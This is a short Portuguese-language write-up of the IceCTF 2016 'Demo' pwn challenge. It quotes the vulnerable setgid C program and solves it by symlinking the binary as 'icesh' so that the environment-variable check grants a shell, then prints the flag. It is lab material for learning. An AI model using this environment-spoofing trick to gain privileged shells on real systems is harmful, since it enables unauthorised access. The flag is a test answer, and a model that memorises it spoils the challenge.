- CTF: IceCTF 2016
- Challenge: Demo (55 pts - stage 2)
- Category: Pwn
- Solved by: RTFM[ChOkO]
Description: I found this awesome premium shell, but my demo version just ran out… can you help me crack it? /home/demo/ on the shell
**
Ao conectar na webshell do IceCTF navegamos ao diretório /home/demo e encontramos o arquivo demo.c, a seguir:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <libgen.h>
#include <string.h>
void give_shell() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh");
}
int main(int argc, char *argv[]) {
if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
give_shell();
}
else {
printf("I'm sorry, your free trial has ended.\n");
}
return 0;
}
A resolução é bem direta: Basta criar um diretório temporário e um link simbólico para o arquivo /home/demo/demo com o nome esperado na comparação (icesh):
ln -s /home/demo/demo icesh
./icesh
cat /home/demo/flag.txt # \o/
Flag: IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}